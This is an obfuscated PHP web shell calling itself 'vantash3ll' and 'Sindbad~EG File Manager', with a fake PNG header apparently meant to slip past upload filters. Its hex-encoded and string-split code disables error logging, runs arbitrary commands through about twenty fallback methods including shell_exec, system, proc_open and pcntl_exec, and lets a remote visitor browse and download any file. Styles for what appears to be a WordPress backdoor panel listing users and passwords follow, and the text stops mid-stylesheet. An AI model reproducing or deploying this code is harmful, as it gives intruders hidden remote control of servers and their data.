Sindbad~EG File Manager
PNG \x49\x44\x41\x54\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('err'.'or_'.'l'.'o'.'g', NULL);
@ini_set('lo'.'g'.'_e'.'rr'.'or'.'s', 0);
@ini_set('max'.'_ex'.'e'.'c'.'u'.'tio'.'n_t'.'im'.'e', 0);
@ini_set('ou'.'tpu'.'t_'.'b'.'u'.'ffe'.'r'.'i'.'ng', 0);
@ini_set('d'.'is'.'pl'.'ay'.'_'.'e'.'r'.'ro'.'r'.'s', 0);
$VANTAarr = ['6'.'76'.'57'.'4'.'6'.'377'.'6'.'4', '67'.'6c'.'6f6'.'2', '6'.'973'.'5'.'f64'.'697'.'2', '69'.'735'.'f66'.'69'.'6c6'.'5', '697'.'3'.'5f'.'777'.'2'.'69'.'74'.'616'.'26c'.'6'.'5', '697'.'35'.'f'.'72'.'65'.'616'.'46'.'1'.'6'.'26c'.'65', '66'.'6'.'96c'.'6'.'57'.'06'.'572'.'6d7'.'3', '666'.'96'.'c6'.'5', '706'.'87'.'0'.'5f'.'75'.'6e6'.'1'.'6d6'.'5', '676'.'574'.'5f6'.'3'.'757'.'272'.'65'.'6'.'e7'.'45f'.'75'.'73'.'657'.'2', '68'.'746'.'d6c'.'7'.'37'.'065'.'63'.'6'.'961'.'6c6'.'368'.'6'.'17'.'27'.'3', '666'.'96c'.'655'.'f6'.'76'.'5'.'74'.'5'.'f'.'63'.'6'.'f6'.'e7'.'46'.'5'.'6e7'.'4'.'7'.'3', '6'.'d'.'6b6'.'4'.'6'.'972', '7'.'4'.'6'.'f7'.'5'.'6'.'368', '6'.'368'.'646'.'972', '72'.'656'.'e'.'61'.'6d6'.'5', '657'.'8'.'65'.'63', '70'.'6'.'173'.'737'.'468'.'727'.'5', '7'.'37'.'97'.'374'.'6'.'56'.'d', '73'.'686'.'56c'.'6c'.'5f6'.'578'.'656'.'3', '70'.'6f'.'7'.'0'.'65'.'6'.'e', '7'.'06'.'36c'.'6f'.'73'.'6'.'5', '73'.'74'.'72'.'65'.'616'.'d5f'.'6'.'7'.'65'.'74'.'5f'.'6'.'36f'.'6'.'e74'.'6'.'56'.'e'.'747'.'3', '7'.'07'.'2'.'6f'.'6'.'35'.'f'.'6f'.'70'.'656'.'e', '756'.'e'.'6'.'c'.'696'.'e6b', '7'.'2'.'6d'.'6'.'4'.'69'.'7'.'2', '66'.'6'.'f'.'70'.'6'.'56e', '6'.'663'.'6c'.'6f'.'73'.'65', '6'.'66'.'96'.'c65'.'5f7'.'0'.'75'.'7'.'4'.'5'.'f'.'6'.'36'.'f6e'.'74'.'656'.'e74'.'7'.'3', '6'.'d6f'.'766'.'5'.'5f7'.'5'.'7'.'0'.'6'.'c'.'6f6'.'1'.'646'.'564'.'5f6'.'66'.'96c'.'65', '63'.'68'.'6d'.'6f6'.'4', '737'.'9'.'735'.'f'.'67'.'65'.'7'.'45'.'f74'.'65'.'6'.'d7'.'0'.'5f6'.'4'.'69'.'72', '626'.'1'.'7'.'3'.'65'.'3'.'634'.'5'.'F64'.'656'.'36'.'F6'.'46'.'5', '626'.'1'.'736'.'536'.'34'.'5F6'.'5'.'6E6'.'36'.'F6'.'46'.'5', '636'.'f7'.'07'.'9'];
$VANTA67 = count($VANTAarr); for ($i = 0; $i< $VANTA67; $i++) { $VANTAxas[] = unx($VANTAarr[$i]);}
if (!function_exists('_'.'v'.'nt'.'_'.'st'.'r')) { function _vnt_str($arr) { $r = ''; foreach ($arr as $n) $r .= chr($n); return $r; }}
function v4nt4C($pr1VANTA) { $fn = []; $fn[] = chDxzZ([115,104,101,108,108,95,101,120,101,99]); $fn[] = chDxzZ('1'.'01'.','.'12'.'0,1'.'0'.'1,9'.'9'); $fn[] = chDxXZ('7'.'3'.'7'.'97'.'37'.'46'.'5'.'6'.'d'); $fn[] = chDxzZ('112'.',97'.',11'.'5,1'.'15,'.'1'.'16'.',10'.'4,'.'114'.','.'11'.'7'); $fn[] = chDxXZ('7'.'072'.'6f6'.'35f'.'6f'.'70'.'6'.'56e'); $fn[] = chDxzZ([112,111,112,101,110]); $fn[] = chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100]); $fn[] = chDxXZ('65'.'73'.'6'.'3'.'617'.'065'.'73'.'68'.'6'.'5'.'6c'.'6c'.'6'.'1'.'726'.'7'); $fn[] = chDxzZ([99,117,114,108,95,101,120,101,99]); $fn[] = chDxzZ('109'.',9'.'7,'.'1'.'05'.',10'.'8'); $fn[] = chDxXZ('636'.'1'.'6c'.'6'.'c5f'.'757'.'365'.'72'.'5f'.'667'.'56e'.'63'); $fn[] = chDxzZ('1'.'02,'.'10'.'5,'.'108'.','.'1'.'0'.'1'.',9'.'5'.','.'10'.'3'.',1'.'01,'.'1'.'1'.'6,9'.'5,9'.'9,'.'1'.'11,'.'11'.'0,'.'116'.',1'.'01,'.'110'.',11'.'6'.',1'.'15'); $fn[] = chDxzZ('1'.'0'.'2,1'.'11,'.'112'.',1'.'0'.'1,'.'11'.'0'); $fn[] = chDxzZ('102'.',1'.'19,'.'1'.'1'.'4,1'.'05'.','.'1'.'16,'.'101'); $fn[] = chDxzZ('10'.'2'.',99'.',10'.'8,1'.'11,'.'11'.'5'.',10'.'1'); $fn[] = chDxzZ('11'.'2,'.'11'.'7,'.'1'.'16'.',1'.'0'.'1,1'.'10'.',1'.'1'.'8'); $fn[] = chDxzZ('105'.','.'1'.'10,'.'105'.','.'95'.','.'11'.'5,1'.'01'.',11'.'6'); $fn[] = chDxzZ([112,99,110,116,108,95,101,120,101,99]); $fn[] = chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118]); $fn[] = chDxzZ([109,113,95,111,112,101,110]); $fn[] = chDxzZ([103,99,95,111,112,101,110]); $out = false; for ($i = 0; $i< count($fn); $i++) { $f = $fn[$i]; if (!function_exists($f)) continue; if ($f === chDxzZ([115,104,101,108,108,95,101,120,101,99])) { $out = @$f($pr1VANTA); if (!empty($out)) break; } elseif ($f === chDxzZ('101'.','.'12'.'0,1'.'01,'.'9'.'9')) { $lines = []; @$f($pr1VANTA, $lines); $out = join("\n", $lines); if (!empty($out)) break; } elseif ($f === chDxXZ('7'.'379'.'73'.'7'.'46'.'5'.'6d')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxzZ('112'.',97'.',1'.'15'.',1'.'1'.'5,'.'116'.','.'104'.',11'.'4,'.'11'.'7')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('70'.'72'.'6f'.'63'.'5'.'f6'.'f7'.'06'.'56'.'e')) { $d = [1=>["pipe","w"],2=>["pipe","w"]]; $p = @$f($pr1VANTA, $d, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (!empty($out)) break; } } elseif ($f === chDxzZ([112,111,112,101,110])) { $h = @$f($pr1VANTA . " 2>&1", "r"); $res = ""; if ($h) { while (!feof($h)) $res .= fread($h, 4096); pclose($h); } if (strlen($res)) { $out = $res; break; } } elseif ($f === chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100])) { $esc = $f($pr1VANTA); ob_start(); @system($esc); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('6'.'573'.'6'.'36'.'17'.'065'.'73'.'68'.'65'.'6'.'c6'.'c6'.'17'.'26'.'7')) { $esc = $f($pr1VANTA); $out = @chDx2x($esc); if (!empty($out)) break; } elseif ($f === chDxzZ([99,117,114,108,95,101,120,101,99])) { $ch = @curl_init('f'.'i'.'le'.':/'.'/'.'/p'.'roc'.'/se'.'l'.'f/c'.'mdl'.'i'.'ne'); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, $pr1VANTA); $r = @curl_exec($ch); @curl_close($ch); if ($r && strpos($r, $pr1VANTA) !== false) { $out = $r; break; } } elseif ($f === chDxzZ('10'.'9'.',9'.'7,'.'1'.'05'.',1'.'08')) { $to = uniqid()."@".uniqid().".xyz"; @mail($to, $pr1VANTA, $pr1VANTA); $out = ""; } elseif ($f === chDxXZ('63'.'616'.'c6c'.'5'.'f75'.'7'.'36'.'572'.'5f'.'667'.'56'.'e6'.'3')) { $shellfunc = chDxzZ([115,104,101,108,108,95,101,120,101,99]); if (function_exists($shellfunc)) { $out = @call_user_func($shellfunc, $pr1VANTA); if (!empty($out)) break; }} elseif ($f === chDxzZ('102'.',1'.'05,'.'1'.'0'.'8,'.'101'.',9'.'5,1'.'03'.','.'10'.'1,'.'116'.',9'.'5,'.'99,'.'11'.'1'.',11'.'0,'.'11'.'6,1'.'01'.','.'1'.'10'.','.'116'.',1'.'15')) { $r = @$f("php://filter/read=convert.base64-encode/resource=" . $pr1VANTA); if ($r && strlen($r) >0) { $out = $r; break; } } elseif ($f === chDxzZ('102'.',1'.'1'.'1,1'.'12,'.'1'.'01,'.'11'.'0')) { $tmpf = sys_get_temp_dir() . "/" . uniqid("s-cmd") . ".sh"; $h = @$f($tmpf, "w"); if ($h) { fwrite($h, $pr1VANTA); fclose($h); } $r = @chDx2x("sh " . escapeshellarg($tmpf) . " 2>&1"); if ($r) { $out = $r; @unlink($tmpf); break; } } elseif ($f === chDxzZ('1'.'12,'.'1'.'1'.'7,'.'116'.',1'.'0'.'1,'.'1'.'10'.','.'11'.'8')) { @putenv("CMD=".$pr1VANTA); $r = @getenv("CMD"); if ($r == $pr1VANTA) { $out = $r; break; } } elseif ($f === chDxzZ('10'.'5'.','.'1'.'1'.'0,1'.'05,'.'95'.','.'1'.'15,'.'101'.',11'.'6')) { @ini_set("auto_prepend_file", $pr1VANTA); $out = @file_get_contents($_SERVER['SCR'.'IPT'.'_F'.'I'.'LEN'.'AME']); if (!empty($out)) break; } elseif ($f === chDxzZ([112,99,110,116,108,95,101,120,101,99])) { @pcntl_exec("/bin/sh", array("-c", $pr1VANTA)); } elseif ($f === chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118])) { @apache_setenv("CMD", $pr1VANTA); $out = getenv("CMD"); if ($out == $pr1VANTA) break; } elseif ($f === chDxzZ([109,113,95,111,112,101,110]) || $f === chDxzZ([103,99,95,111,112,101,110])) { } } return $out !== false ? $out : false;}if (!function_exists('ch'.'D'.'xz'.'Z')) { function chDxzZ($arr) { if (is_string($arr)) $arr = explode(',', $arr); $r = ''; foreach ($arr as $n) $r .= chr(is_numeric($n) ? $n : hexdec($n)); return $r; }}
if (!function_exists('p'.'r'.'vdy'.'z'.'h'.'s'.'ax')) { function prvdyzhsax($str) { $y = ''; for ($i = 0; $i< strlen($str); $i++) $y .= dechex(ord($str[$i])); return $y; }}
if (!function_exists('ch'.'D'.'x'.'XZ')) { function chDxXZ($hx) { $n = ''; for ($i = 0; $i< strlen($hx) - 1; $i += 2) $n .= chr(hexdec($hx[$i] . $hx[$i + 1])); return $n; }}
if (isset($_GET['VAN'.'TA'])) { $cdir = unx($_GET['VAN'.'T'.'A']); if (@is_dir($cdir)) { $VANTAxas[14]($cdir); } else { } } else { $cdir = $VANTAxas[0](); }
function VANTAd0($file) { if (file_exists($file)) { header('C'.'o'.'nt'.'e'.'nt'.'-'.'D'.'es'.'cri'.'p'.'tio'.'n:'.' '.'Fil'.'e T'.'r'.'an'.'s'.'f'.'er'); header('C'.'on'.'t'.'e'.'nt-'.'Typ'.'e'.': '.'ap'.'p'.'lic'.'at'.'io'.'n/o'.'cte'.'t-s'.'tr'.'e'.'a'.'m'); header('Co'.'n'.'ten'.'t'.'-'.'Dis'.'pos'.'it'.'ion'.':'.' at'.'t'.'ac'.'hme'.'nt'.'; '.'f'.'i'.'l'.'ena'.'me'.'=' . basename($file)); header('Co'.'nte'.'nt-'.'Tr'.'ans'.'fer'.'-'.'E'.'nco'.'din'.'g: '.'bi'.'n'.'a'.'r'.'y'); header('Ex'.'pir'.'es'.': '.'0'); header('Ca'.'che'.'-Co'.'ntr'.'o'.'l:'.' m'.'us'.'t'.'-re'.'v'.'al'.'i'.'d'.'at'.'e'); header('Pra'.'gma'.':'.' pu'.'bl'.'i'.'c'); header('Con'.'te'.'nt-'.'Len'.'gth'.': ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; }}
if (!empty($_GET['d'.'o'.'n'])) {$FilesDon = VANTAd0(unx($_GET['d'.'on']));}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>vantash3ll - <?= $_SERVER['SE'.'RV'.'ER'.'_'.'NA'.'M'.'E']; ?></title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
<style>@import url(https://fonts.googleapis.com/css2?family=Recursive:wght@400;700&display=swap);:root{--bg:#15181e;--panel:#20242a;--card:#232833;--accent:#6bff75;--accent2:#a8ffa0;--accent3:#9bff6e;--error:#fff;--success:#7effa7;--warn:#ffd84a;--border:#353a46;--badge:#222935;--text-main:#e7fcff;--text-dim:#b4c3ce;--btn-hover:#193844;--table-alt:#222d38;--table-hover:#2e3e4a;--modal:#161920;--shadow:0 6px 30px #00e0ff15}body{background:var(--bg);color:var(--text-main);font-family:'Recursive',monospace;font-size:15px;margin:0;letter-spacing:.01em}a,a:visited{color:var(--accent2);text-decoration:none;transition:color .13s}a:hover{color:var(--accent);text-shadow:0 0 7px var(--accent)}.vanta-header,.vanta-header2-bar{background:var(--panel);border-bottom:1.5px solid var(--border);box-shadow:var(--shadow);padding:17px 3vw 13px;display:flex;align-items:center;justify-content:space-between;margin-right:54px}.vanta-logo2{display:flex;align-items:center;font-size:1.23em;gap:13px;font-family:'Recursive',monospace;font-weight:900;color:var(--accent2);letter-spacing:.12em;text-transform:uppercase;text-shadow:0 2px 16px #0008}.vanta-logo2-led{width:11px;height:11px;border-radius:50%;background:var(--accent2);box-shadow:0 0 9px var(--accent2)}.vanta-logo2-txt{color:var(--accent2);text-shadow:0 0 8px #ffd84a44}.vanta-ver2{color:var(--accent);font-size:.85em;margin-left:3px}.vanta-logo2-dot{width:5px;height:5px;border-radius:50%;background:var(--error);margin-left:8px}.vanta-menu-grid{display:flex;flex-wrap:wrap;gap:8px;padding:0;margin:0;list-style:none}.vanta-chip{background:var(--badge);color:var(--accent2);font-family:'Recursive',monospace;padding:7px 15px;border-radius:7px;font-weight:700;border:1.2px solid var(--border);box-shadow:0 2px 10px #f3e85e10;transition:background .15s,color .13s;display:flex;align-items:center;gap:8px;font-size:.94em}.vanta-chip:hover{background:var(--accent2);color:#2a2a2a;border-color:var(--accent2)}.v4nt4-lite-uname{font-size:.94em;color:var(--accent);background:var(--panel);border-bottom:2px solid var(--accent);border-top:2px solid var(--accent2);padding:10px 22px 10px;letter-spacing:.06em;display:flex;align-items:center;gap:13px;margin-bottom:10px;overflow-x:auto;border-radius:8px 8px 0 0;box-shadow:0 2px 12px #00e0ff09;text-shadow:0 0 6px #00e0ff28}.v4nt4-lite-dot{display:inline-block;width:9px;height:9px;border-radius:50%;background:linear-gradient(135deg,var(--accent2) 60%,var(--accent) 100%);margin-right:10px;box-shadow:0 0 8px var(--accent2),0 0 2px #13ffc350}.v4nt4-lite-info{background:var(--card);border-left:3px solid var(--accent2);border-radius:0 9px 9px 9px;margin-bottom:16px;padding:7px 0;display:grid;grid-template-columns:1fr;gap:0;box-shadow:0 1px 10px 0 #13ffc310;max-width:100vw}.v4nt4-lite-row{font-size:.94em;color:var(--text-main);padding:8px 22px;border-bottom:1px dashed var(--border);display:flex;align-items:center;gap:14px;min-width:0;overflow:hidden;background:var(--panel);border-radius:5px;transition:background .14s}.v4nt4-lite-row:nth-child(odd){background:var(--card)}.v4nt4-lite-row:hover{background:var(--table-hover)}.v4nt4-lite-key{font-weight:700;color:var(--accent2);min-width:88px;font-size:.94em;letter-spacing:.04em;text-align:right;display:inline-block;opacity:.93}.v4nt4-lite-val{font-family:inherit;padding-left:13px;flex:1 1 0%;overflow:hidden;font-size:.94em;color:var(--accent2);background:#fff1;border-radius:5px;font-weight:900;letter-spacing:.01em}.v4nt4-lite-on{color:var(--success)!important;background:#232f2a!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-off{color:var(--error)!important;background:#231a1e!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-breadcrumb{background:var(--card);color:var(--accent2);padding:9px 19px 8px 14px;border-left:3px solid var(--accent);border-radius:0 8px 8px 0;font-size:.99em;margin-bottom:7px;display:flex;gap:3px;flex-wrap:wrap;min-height:11px;box-shadow:0 1px 8px 0 #131b1f44}.v4nt4-lite-bc{color:var(--accent);font-weight:700;font-size:.94em;border-radius:7px;background:var(--badge);margin-right:3px;margin-bottom:2px;transition:background .14s,color .13s}.v4nt4-lite-bc:hover{bcolor:#232833}@media (max-width:900px){.v4nt4-lite-row,.v4nt4-lite-info{padding:5px 7px;font-size:.98em}.v4nt4-lite-breadcrumb{padding:7px 3px 7px 5px;font-size:.94em}}.v4nt4-filelist-root{border-radius:11px;border:2px solid var(--border);box-shadow:0 3px 22px #00e0ff12;margin-bottom:22px}.v4nt4-filelist-head,.v4nt4-file-row{display:grid;grid-template-columns:30px 38px 2fr 1fr 1fr 1.6fr 1.2fr;align-items:center;font-size:.94em}.v4nt4-filelist-head{background:#232833;color:var(--accent2);border-bottom:2px solid var(--border);min-height:38px;text-transform:lowercase;letter-spacing:.04em;font-weight:900}.v4nt4-file-row{background:var(--card);border-bottom:1px solid var(--border);min-height:38px;transition:background .13s,border .13s}.v4nt4-file-row:hover{background:var(--table-hover);border-left:3px solid var(--accent2);z-index:1}.v4nt4-file-col{padding:8px 7px;display:flex;align-items:center;min-width:0}.v4nt4-file-check input{accent-color:var(--accent2);width:15px;height:15px}.v4nt4-file-icon i{font-size:1.19em;color:var(--accent3)}.v4nt4-file-link{color:var(--accent);font-family:'Recursive',monospace;font-weight:900;white-space:nowrap;overflow:hidden}.v4nt4-file-link:hover{color:var(--accent2)}.v4nt4-file-ext{margin-left:9px;background:#18223a;color:var(--accent2);font-size:.79em;border-radius:6px;padding:1.5px 8px;font-weight:700;letter-spacing:.04em}.v4nt4-file-perm{font-family:'Recursive',monospace;text-align:right;display:inline-flex;align-items:center;font-size:.94em;padding:5px 12px 5px 11px;border-radius:8px;letter-spacing:.04em;gap:7px}.v4nt4-perm-green{color:var(--success)}.v4nt4-perm-red{color:var(--error)}.v4nt4-file-writable{color:var(--success)}.v4nt4-file-readonly{background:#291a1f;color:var(--error);border:1px solid #ff497980}.v4nt4-file-size-badge{display:inline-flex;align-items:center;gap:6px;color:var(--accent);border-radius:7px;padding:5px 13px 5px 10px;font-size:.74em;letter-spacing:.01em;font-weight:700;transition:background .12s,color .12s}.v4nt4-file-actions{display:flex;gap:8px;align-items:center;justify-content:flex-end;width:100%}.v4nt4-file-actions a{display:inline-flex;align-items:center;justify-content:center;background:var(--badge);border-radius:7px;border:1.1px solid var(--border);font-size:.94em;padding:7px 10px;color:var(--accent3);box-shadow:0 1px 9px #13ffc310;transition:background .14s,color .13s,box-shadow .12s;font-weight:900}.v4nt4-file-actions a[title=Rename]{color:#55ff70;background:#1a2531;border-color:#3fa9e230}.v4nt4-file-actions a[title=Chmod]{color:var(--warn);background:#262517;border-color:#ffe65145}.v4nt4-file-actions a[title=Delete]{color:var(--error);background:#3c0014;border-color:#ff497930}.v4nt4-file-actions a[title=Download]{color:var(--success);background:#17271e;border-color:#7effa720}.v4nt4-file-actions a:hover{background:var(--accent);color:#242a3a;border-color:var(--accent2);box-shadow:0 4px 22px #00e0ff36}.v4nt4-filelist-foot{display:flex;align-items:center;justify-content:flex-end;gap:13px;padding:11px 19px 8px;border-top:1px solid var(--border);background:var(--card);border-radius:0 0 11px 11px}.v4nt4-filelist-select{background:var(--badge);color:var(--accent2);border:1.1px solid var(--border);border-radius:7px;padding:6px 15px;font-family:inherit;font-size:.91em;outline:0;font-weight:700}.v4nt4-filelist-btn{background:var(--accent);color:#232933;border:none;padding:8px 24px;border-radius:8px;font-size:.99em;display:flex;align-items:center;gap:7px;font-weight:900;transition:background .13s,color .13s;cursor:pointer}.v4nt4-filelist-btn:hover{background:var(--accent2);color:#232833}.vanta-fm-actions{display:flex;gap:10px;align-items:center;flex-wrap:wrap;padding:8px 0 2px;background:var(--panel)}.vanta-fm-btn{display:inline-flex;align-items:center;gap:5px;padding:3.5px 12px;font-size:.94em;margin-right:2px;cursor:pointer;border-radius:8px;border:1.5px solid var(--border);background:var(--badge);color:var(--accent);font-weight:700;transition:background .14s,color .13s,border .13s}.vanta-fm-btn:focus,.vanta-fm-btn:hover{background:var(--accent2);color:#161a1d;border-color:var(--accent2)}::-webkit-scrollbar{width:10px;background:#15181e}::-webkit-scrollbar-thumb{background:#00e0ff;border-radius:8px}@media (max-width:1050px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:22px 22px 1.3fr 0.7fr 0.7fr 1.2fr 0.8fr;font-size:.94em}}@media (max-width:900px){.vanta-header,.vanta-header2-bar{flex-direction:column;align-items:flex-start}.vanta-menu-grid{gap:5px}.v4nt4-file-row,.v4nt4-filelist-head{font-size:.94em}.v4nt4-filelist-head,.v4nt4-file-row{padding:6px 3px}}@media (max-width:600px){.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 3px;font-size:.98em}.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:14px 15px 1fr 0.5fr 0.6fr 1fr 0.7fr;font-size:.92em}}.v4nt4-badge-danger,.v4nt4-badge-success,.v4nt4-badge-ok,.v4nt4-badge-alert,.v4nt4-lite-badge{padding:2.5px 10px;border-radius:8px;font-size:.93em;font-weight:700;letter-spacing:.01em;display:inline-block}.v4nt4-badge-danger,.v4nt4-badge-alert{background:#2c1625;color:var(--error);border:1px solid #ff497948}.v4nt4-badge-success,.v4nt4-badge-ok{background:#1a2623;color:var(--success);border:1px solid #7effa755}.v4nt4-lite-badge{background:#21272e;color:var(--accent2);border:1px solid #ffd84a55}.v4nt4-modal-bg,.v4nt4-modal-wizard,.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz{z-index:20000}.v4nt4-modal-bg{position:fixed;inset:0;background:rgb(17 21 31 / .91);display:flex;align-items:center;justify-content:center;padding:0}.v4nt4-modal-wizard{background:var(--modal);border-radius:14px;box-shadow:0 14px 64px 0 #00e0ff25,0 0 0 2px #f3e85e18;max-width:560px;min-width:0;width:97vw;border:2px solid var(--accent2);font-family:'Recursive',monospace;display:flex;flex-direction:column;overflow:hidden}.v4nt4-modal-header-wiz{display:flex;align-items:center;gap:15px;border-radius:14px 14px 0 0;padding:16px 20px 9px;background:#171b23;border-bottom:2px solid var(--border);position:relative;min-height:42px}.v4nt4-wiz-icon{background:#1129ae;color:#ffd84a;font-size:1.3em;border-radius:10px;width:38px;height:38px;display:flex;align-items:center;justify-content:center;box-shadow:0 1px 8px #00e0ff18}.v4nt4-wiz-title{font-size:1.08em;color:var(--accent2);font-weight:900;letter-spacing:.05em}.v4nt4-wiz-desc{color:#ccd5ec;font-size:.98em;font-weight:600;opacity:.83;letter-spacing:.01em;max-width:350px;overflow-x:auto}.v4nt4-modal-close-wiz{font-size:1.53em;color:#ffd84a;background:none;border:none;text-decoration:none;line-height:1;padding:0 10px;border-radius:8px;position:absolute;right:12px;top:9px;cursor:pointer;transition:background .13s,color .13s}.v4nt4-modal-close-wiz:hover{background:var(--accent2);color:#181a1d}.v4nt4-wiz-section{display:flex;align-items:flex-start;gap:14px;padding:16px 40px 0}.v4nt4-wiz-section-icon{background:#00e0ff1a;color:var(--accent);font-size:1.18em;border-radius:9px;width:30px;height:30px;display:flex;align-items:center;justify-content:center;margin-top:2px}.v4nt4-wiz-fields{flex:1;display:flex;flex-direction:column;gap:6px}.v4nt4-wiz-input,textarea.v4nt4-wiz-editorarea{border:1.5px solid var(--border);border-radius:7px;outline:0;transition:border .13s,box-shadow .11s;font-size:.94em;padding:9px 12px;font-family:'Recursive',monospace;background:var(--card);color:var(--accent2);font-weight:600}textarea.v4nt4-wiz-editorarea{min-height:170px;resize:vertical}.v4nt4-wiz-editorarea:focus,.v4nt4-wiz-input:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #00e0ff50}.v4nt4-modal-actions-wiz{display:flex;justify-content:flex-end;gap:12px;border-top:1.4px solid var(--border);padding:13px 18px 10px;background:#232c38;border-radius:0 0 14px 14px}.v4nt4-wiz-btn{padding:7px 18px;border-radius:7px;font-size:.94em;border:none;cursor:pointer;display:flex;align-items:center;gap:8px;font-family:inherit;outline:0;font-weight:700;letter-spacing:.01em;transition:background .13s,color .13s,border .12s;text-decoration:none}.v4nt4-wiz-btn-red{background:var(--accent);color:#2a2a2a;border:1.3px solid var(--accent2)}.v4nt4-wiz-btn-red:hover{background:var(--accent2);color:#232833;border-color:var(--accent2)}.v4nt4-wiz-btn-light{background:var(--card);color:var(--accent2);border:1.2px solid var(--border)}.v4nt4-wiz-btn-light:hover{background:var(--accent2);color:#161a1d;border-color:var(--accent2)}@media (max-width:600px){.v4nt4-modal-wizard{max-width:99vw;border-radius:8px}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:8px;padding-right:8px}}input[type="text"],input[type="number"],input[type="file"],select,textarea{font-family:'Recursive',monospace;background:var(--panel);color:var(--accent2);border:1.4px solid var(--border);border-radius:6px;font-size:.94em;padding:9px 13px;outline:0;font-weight:700;transition:border .13s,box-shadow .11s}input:focus,select:focus,textarea:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #f3e85e40}button,input[type="submit"]{background:var(--accent2);color:#232833;border:none;border-radius:7px;font-weight:900;padding:10px 22px;font-size:1.04em;letter-spacing:.02em;cursor:pointer;transition:background .13s,color .13s;font-family:'Recursive',monospace}button:hover,input[type="submit"]:hover{background:var(--accent);color:#232833}.v4nt4-table-func,.v4nt4-table-net,.v4nt4-table-proc{width:100%;border-collapse:collapse;background:var(--panel);font-size:.98em;font-family:'Recursive',monospace;border-radius:9px;box-shadow:0 2px 10px #00e0ff11;margin-bottom:13px}.v4nt4-table-func thead th,.v4nt4-table-net thead th,.v4nt4-table-proc thead th{background:#21263a;color:var(--accent2);font-weight:900;padding:10px 9px;border-bottom:1.5px solid var(--border);text-align:left;font-size:.94em;text-shadow:0 1px 0 #1d232d}.v4nt4-table-func tbody td,.v4nt4-table-net tbody td,.v4nt4-table-proc tbody td{padding:10px 9px;border-bottom:1.2px solid #2d2f3d;color:var(--text-main);font-weight:700;background:var(--panel)}.v4nt4-table-func tbody tr:nth-child(odd),.v4nt4-table-net tbody tr:nth-child(odd),.v4nt4-table-proc tbody tr:nth-child(odd){background:#232c39}.v4nt4-table-func tbody tr:hover,.v4nt4-table-net tbody tr:hover,.v4nt4-table-proc tbody tr:hover{background:var(--table-hover);color:var(--accent2)}.wp_VANTAd00r-main{background:var(--card);border-radius:20px;box-shadow:0 4px 32px #00e0ff10;max-width:900px;margin:32px auto 40px;padding:29px 18px 19px 24px;font-family:'Recursive',monospace}.wp_VANTAd00r-title{color:var(--accent2);font-size:1.39em;font-weight:900;margin-bottom:7px;display:flex;align-items:center;gap:12px;letter-spacing:.01em;text-shadow:0 0 9px #ffd84a60}.wp_VANTAd00r-alert{padding:13px 18px;border-radius:9px;background:#1a2b2e;color:var(--error);font-weight:900;margin-bottom:18px;box-shadow:0 1px 8px #00e0ff10;font-size:1.07em}.wp_VANTAd00r-alert.ok{background:#11281c;color:var(--success);border:1.2px solid #7effa7}.wp_VANTAd00r-btn,.wp_VANTAd00r-btn-blue,.wp_VANTAd00r-btn-green,.wp_VANTAd00r-btn-copy{display:inline-block;padding:4px 14px;margin:2px;border-radius:7px;background:var(--accent2);color:#232833;font-size:.94em;font-weight:900;cursor:pointer;transition:background .13s;border:1.1px solid #ffd84a44}.wp_VANTAd00r-btn-blue{background:var(--accent);color:#2a2a2a}.wp_VANTAd00r-btn-green{background:var(--success);color:#232833}.wp_VANTAd00r-btn-copy{background:var(--panel);color:var(--accent2);border:1.3px solid var(--accent2)}.wp_VANTAd00r-btn-copy:hover{background:var(--accent2);color:#1a1e1d}.wp_VANTAd00r-users table{width:100%;font-size:.99em;border-collapse:collapse;background:var(--card);margin-bottom:13px}.wp_VANTAd00r-users td,.wp_VANTAd00r-users th{padding:7px;border-bottom:1.2px solid #393a22;text-align:left;vertical-align:middle}.wp_VANTAd00r-users th{color:var(--accent2);font-weight:900;background:#181d25}.wp_VANTAd00r-users tr:hover{background:#242c2e}.wp_VANTAd00r-pw{font-family:'Recursive',monospace;font-size:.96em;color:#229aff;padding:1px 8px;border-radius:5px;background:#18223a;margin-left:3px}@media (max-width:700px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:12px 13px 1fr 0.5fr 0.5fr 1fr 0.7fr;font-size:.89em}.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 2px;font-size:.96em}.v4nt4-modal-wizard{max-width:100vw;border-radius:0;left:0;transform:none}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:6px;padding-right:6px}}.vanta-swal-popup{border-radius:14px!important;box-shadow:0 8px 38px #00e0ff25,0 0 0 3px #13ffc319;font-family:'Recursive',monospace!important;letter-spacing:.01em;padding-top:26px!important}.vanta-swal-success{border:2.5px solid #10b98199;background:#15181e!important;color:#7effa7!important}.vanta-swal-error{border:2.5px solid 